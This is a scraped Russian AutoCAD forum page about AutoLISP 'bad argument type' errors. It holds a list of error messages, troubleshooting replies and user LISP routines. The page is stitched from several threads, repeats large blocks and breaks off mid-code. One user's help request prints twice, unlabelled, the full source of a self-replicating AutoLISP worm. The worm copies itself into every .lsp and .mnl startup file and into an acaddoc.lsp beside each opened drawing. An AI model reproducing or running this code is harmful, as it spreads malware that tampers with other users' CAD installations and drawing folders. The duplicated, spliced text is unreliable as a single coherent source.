Ошибка неверный тип аргумента stringp nil в автокаде
Функции, отклоняемые AutoCADом
Аргументы проходящих в AutoCAD функций недействительны ( таких, как функции GETVAR "NOSUCH" или SETVAR с только читаемыми системными переменными), или функция, переходящая сама в себя, недействительна в текущем контексте.
Функция снабжена некорректным типом аргумента.( Например, вы не можете взять STRLEN как целое.)
Список , объявленный функцией ASSOC, не состоит из "(нужная кла- виша ) списков.
Аргумент, проходящий в функцию ENTMOD,имеет неподходящий вход списка данных (так же , как возвращаемый функцией ENTGET).
Когда вычислена эта функция, AutoLISP удалит список недействите- льных формальных аргументов. Возможно, что функция вовсе не является функцией , а в некоторой степени , список данных.
Неподходяще организован список, которым снабжена функция. Это мо- жет случиться , если действительное число начинает десятичная точка; в таком случае вы должны использовать введение 0.
Недействителен пункт , встречаемый функцией TYPE.
Недействителен пункт , встречаемый функцией FOREACH.
Недостаточно определена точка ( список двух действительных чисел) проходящая в функцию , ожидающую точку. Будьте внимательны, не начинайте действительное число с десятичной точки; в таком случае, вы должны ис- пользовать введение 0.
То же самое ,что выше.
Первый аргумент функции BOOLE (Булева функция) должно быть це- лое мажду 0 и 15.
Эта ошибка может быть вызвана неправильным местоположением деся- тичной точки и с другой стороны, недостаточно сформулированным выражени- ем.
Пользователь ввел CTRL C , в то время , когда функция обрабаты- валась.
Деление на нуль не разрешается.
Встретились одни или более лишние правые скобки.
Описатель файла для операции ввода-вывода (I/O) не такой , как у доступного файла.
Пользователь нажал CTRL C в ответ на подсказку.
Аргумента, обозначенного в функциях LOG или SQRT,нет в диапазоне.
Аргумент функции вместо целого числа обозначен действительным. Например, (LSH val 1.2)
Аргумент в GCD отрицательное число или ноль.
Количество аргументов определяемой пользователем функции не соот- ветствует количеству формальных аргументов, объявленных функцией DEFUN.
Недостаточен участок памяти node , для того чтобы вместить потреб- ные действия. См. главу 6.
Недостаточен участок памяти heap , чтобы вместить строку текста. См. главу 6.
Неправильный тип аргумента или аргумент вне диапазона.
Выражение содержит неверный знак.
Точечные пары-это списки, содержащие два элемента, разде- ленные конструкцией "space-period-space". Вы можете получить это сооб- щение об ошибке , если вы начинаете действительное число с десятичной точки; в таком случае вы должны использовать введение 0.
Стек AutoLISPа переполнен. Это происходит из-за чрезмерного повторения функции или очень больших списков аргументов функции. Попы- тайтесь увеличить среду LISPSTACK для переменных.
Это может иметь место , если действительное число начинает деся- тичная точка; в таком случае вы должны использовать введение 0 .
Была сделана попытка вычислить функцию , которая имеет нулевой определитель.
Это результат вызова функций QUIT или EXIT. Эти функции сейчас не используются в AutoLISPе.
Инженер по системам безопасности
Где то в процессе исполнения кода переменная которая должна быть строкой принимает значение NIL, либо вообще не назначается.
Причиной этого может быть либо несовместимось работы кода в 2006-м, либо отсутствие какой либо функции которая напрямую не вызывается основной, однако в процессе загрузки должна создавать такую глобальную переменную.
В общем надо смотреть код. В AutoLISP такие проблеммы легко обнаруживатся и решаются. Если есть желание то - код в студию
>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
Версия Автокада англ.+ SP1. Дело в том, что этот же самый кад стоит и на работе, где работает программа "Prokat" без проблем. Единственное отличие, так это то, что там стоит Win_xp Home с SP2, а дома, где и не работает, система Win_xp Prof. c SP1. Чистил реестр вручную, переустанавливал с SP1 и без, результат: error: bad argument type: stringp nil
Прилагаю папку с файликами, может что-то там и не так?
[ATTACH]1137611429.rar[/ATTACH]
Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Здравствуйте.
Помогите пожалуйста. Суть проблемы следующая: был автокад и все в нем работало безупречно. Но с недавнего времени появилась эта ошибка error: bad argument type: streamp nil
Вообще программка PD.VLX должна загружаться автоматически, но теперь она отказывается это делать а при насильном перестаскивани в окно автокада выдет эту пресловутую ошибку.
Помогите разобраться чего вдруг перестало хватать автокаду.
Вот что выдает командная строка:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while ( < mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( < lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while ( < mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while ( < mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while ( < lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( < lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while ( < lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while ( < mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
; error: bad argument type: streamp nil
Инженер по системам безопасности
Где то в процессе исполнения кода переменная которая должна быть строкой принимает значение NIL, либо вообще не назначается.
Причиной этого может быть либо несовместимось работы кода в 2006-м, либо отсутствие какой либо функции которая напрямую не вызывается основной, однако в процессе загрузки должна создавать такую глобальную переменную.
В общем надо смотреть код. В AutoLISP такие проблеммы легко обнаруживатся и решаются. Если есть желание то - код в студию
>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
>Gim
Какая версия рус/анг Автокада? И когда Вы скачали у PG(?) Procat?
Или пришлите этот архив Procat. Просто, это я его подправлял для PG, мог ошибиться.
Автора - Василия Кондрата давно не слышно, наверное обрезали Инет.
Версия Автокада англ.+ SP1. Дело в том, что этот же самый кад стоит и на работе, где работает программа "Prokat" без проблем. Единственное отличие, так это то, что там стоит Win_xp Home с SP2, а дома, где и не работает, система Win_xp Prof. c SP1. Чистил реестр вручную, переустанавливал с SP1 и без, результат: error: bad argument type: stringp nil
Прилагаю папку с файликами, может что-то там и не так?
[ATTACH]1137611429.rar[/ATTACH]
Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Замени файл "Prcat.lsp" на тот, что в архиве.
И в пути поддержки добавь папку "Procat".
Будет работать. Просто с путями намудрено.
[ATTACH]1137612770.rar[/ATTACH]
Здравствуйте.
Помогите пожалуйста. Суть проблемы следующая: был автокад и все в нем работало безупречно. Но с недавнего времени появилась эта ошибка error: bad argument type: streamp nil
Вообще программка PD.VLX должна загружаться автоматически, но теперь она отказывается это делать а при насильном перестаскивани в окно автокада выдет эту пресловутую ошибку.
Помогите разобраться чего вдруг перестало хватать автокаду.
Вот что выдает командная строка:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while ( < mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( < lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while ( < mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while ( < mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while ( < lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while ( < lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while ( < lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while ( < mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
; error: bad argument type: streamp nil
;;--------------------------------------------------------------------------
;; функция заливки прямоугольника, определенного точками 1pt и 2pt в текущей ПСК,
;; блоками с именем bname на максимальном расстоянии maxdist
(defun xyfill (1pt 2pt maxdist bname / n_meas nx ny dx dy sx sy ix iy)
(defun n_meas (1p 2p d / n) ;_ возвращает количество точек деления по координате
(max (fix (if (not (zerop (- (abs (- 2p 1p)) (* (fix (setq n (/ (abs (- 2p 1p)) d))) d))))
(1+ n)
n
) ;_ if
) ;_ fix
1 ;_ минимум одна точка деления
) ;_ max
) ;_ defun n_meas
(setq dimlf1 (getvar "DIMLFAC"));; установка масштаба блока "Оросители"
(setq mashbloka1 (/ 1.0 dimlf1))
(setq nx (n_meas (car 1pt) (car 2pt) maxdist))
(setq ny (n_meas (cadr 1pt) (cadr 2pt) maxdist))
(setq dx (/ (- (car 2pt) (car 1pt)) nx)) ;_ шаг по X
(setq dy (/ (- (cadr 2pt) (cadr 1pt)) ny)) ;_ шаг по Y
(princ (list "рядов по X=" nx ", по Y=" ny ", шаг X=" dx ", шаг Y=" dy));;писанина
(setq sx (+ (car 1pt) (* dx 0.5)))
(setq sy (+ (cadr 1pt) (* dy 0.5)))
(setq ix sx)
(repeat nx
(setq iy sy)
(repeat ny
(vl-cmdf "_.insert" bname (list ix iy) mashbloka1 mashbloka1 0)
(setq iy (+ iy dy))
) ;_ repeat
(setq ix (+ ix dx))
) ;_ repeat
) ;_ defun xyfill
;;--------------------------------------------------------------------------
;; Установка слоёв
(setq ocmd1 (getvar "cmdecho"))
(setvar "cmdecho" 0)
(if (setq layget (tblsearch "LAYER" "Оросители")) ; проверка на наличие слоя
(cond ; если есть, то проверка его состояния
((= (logand 1 (cdr (assoc 70 layget))) 1)
(alert "Слой \"Оросители\", заморожен!\n\nДальнейшая работа, увы, невозможна. ")
(exit)
)
((= (logand 4 (cdr (assoc 70 layget))) 4)
(alert "Слой \"Оросители\" заблокирован!\n\nДальнейшая работа, увы, невозможна. ")
(exit)
)
((minusp (cdr (assoc 62 layget)))
(alert "Внимание. \n\nСлой \"Оросители\", на котором будет отрисован объект, невидим!")
)
) ;_ cond
(vl-cmdf "_.layer" "_n" "Оросители" "_c" 20 "Оросители" "") ; создание слоя, если такого нет
) ;_ if
(setvar "cmdecho" ocmd1)
;;конец функции установки слоев
(vla-startundomark (vla-get-activedocument (vlax-get-acad-object)))
(setq cla (getvar "CLAYER"))
(setq ocmd (getvar "cmdecho"))
(setq osm (getvar "osmode"))
(setq bname1 "Ороситель") ;; Имя блока
(princ (strcat "\nЗаливка прямоугольника блоками " bname1 "."))
(initget 1)
(setq spt (getpoint "\nОдин угол >"))
(initget 1)
(setq ept (getpoint "\nДругой угол >"))
(princ "\nМинуточку. \n")
(setvar "CLAYER" "Оросители")
(setvar "cmdecho" 0)
(setvar "osmode" 0)
(xyfill spt ept (/ (atof(getenv "min-dist")) (getvar "dimlfac")) bname1) ;_ указать минимальную дистанцию и имя блока заливки
(setvar "cmdecho" ocmd)
(setvar "CLAYER" cla)
(setvar "osmode" osm)
(vla-endundomark (vla-get-activedocument (vlax-get-acad-object)))
(princ "\nГотово ")
(princ (strcat "\nШаг между оросителями составляет : " (getenv "min-dist") "мм"))
(princ)
) ;_ defun
;;;**********************************************************************************************************
(defun min-dist-orosit (/ i)
;; (min-dist-orosit)
(or (getenv "min-dist") (setenv "min-dist" "4000"))
(initget "" 6)
(if (setq i
(getdist
(strcat "\n Укажите минимальную дистанцию между блоками [" (getenv "min-dist") "]")
) ;_ getint
) ;_ setq
(setenv "min-dist" (rtos i 2 3))
) ;_ if
(atof (getenv "min-dist"))
) ;_ defun
Смысл данной программы заключается:
1. Создается слой
2. равномерное распределение блока "ороситель" по всей площади помещения с указанием шаг оросителя.
В старых версиях программы все работало - а для в автокаде 2012 не работает, выдает ошибку:
Ошибка: неверный тип аргумента: stringp nil.
Помогите и разъясните , чтоб понять в чем ошибка и куда смотреть?
Спасибо.
(vmon)
(defun C:Shtamp2a ()
(setvar "cmdecho" 0)
(setq osm (getvar "osmode"))
(setq Lay (getvar "Clayer"))
(setvar "clayer" "0")
(setq curtab (tblobjname "STYLE" "STANDARD"))
(setq ed (entget curtab)) ;Установка в стиле STANDARD
(setq ed (subst (cons 3 "simplex.shx") (assoc 3 ed) ed )) ;файла шрифта simplex
(setq ed (subst (cons 41 0.8) (assoc 41 ed) ed )) ;сжатия 0.8
(setq ed (subst (cons 40 0.0) (assoc 40 ed) ed )) ;высота текста=0
(setq ed (subst (cons 50 0.261799) (assoc 50 ed) ed )) ;и угла наклона 15
(entmod ed)
(setq txt (getvar "textstyle"))
(setvar "textstyle" "standard")
(setq Dog "")
(if (findfile "C:\\Shtamp\\shtamp.txt")
(progn
(setq FL (open "C:\\Shtamp\\shtamp.txt" "r"))
(setq Dog (read-line FL))
))
(setq OTV "Y")
(IF (= (strlen Dog) 0)
(progn
(textscr)
(princ "Не заполнены данные для штампа. Необходимо выполнить ЗАПОЛНЕНИЕ ШТАМПА.\n")
(setq Otv (getstring "Вставить пустой штамп? : "))
(if (or (= otv "") (= otv "y"))
(setq OTV "Y")
)
(graphscr)
(if (= OTV "Y")
(princ
(setq M (getstring "Масштабный кофициент (1): "))
(if (= M "")
(setq M "1")
)
(setq T0 (getpoint "\n Покажите точку вставки штампа :"))
(setvar "osmode" 0)
(command "_insert" "sh2a" T0 M M "0")
(setq M (atof M))
(command "_text" (mapcar '- T0 (list (* 45 M) (* 4 M))) (* 3 M) "0" "Формат А")
))
))
(if (> (strlen Dog) 0)
(progn
(setq M (getstring "Масштабный кофициент(1) : "))
(if (= M "")
(setq M "1")
)
(setq T0 (getpoint "\n Покажите точку вставки штампа :"))
(setvar "osmode" 0)
(command "_insert" "sh2a" T0 M M "0")
(setq M (atof M))
(command "_text" (mapcar '- T0 (list (* 45 M) (* 4 M))) (* 3 M) "0" "Формат А")
(setq Dog (strcase Dog))
(setq T1 (polar T0 (/ pi 2) (* 32.5 M)))
(setq T1 (polar T1 pi 60))
(command "_text" "_m" T1 (* 5 M) "0" Dog)
(setq Pr (read-line FL))
(setq Ob (read-line FL))
(setq Name (read-line FL));Ncontr
(setq D (Strlen Name))
(setq T1 (polar T0 pi (* 164 M)))
(setq T1 (polar T1 (/ pi 2) (* 21 M)))
(if (> d 8)
(Command "_Text" "_f" T1 (polar T1 0 (* 18 M)) (* 3 M) Name)
(Command "_Text" T1 (* 3 M) "0" Name)
)
Читайте также: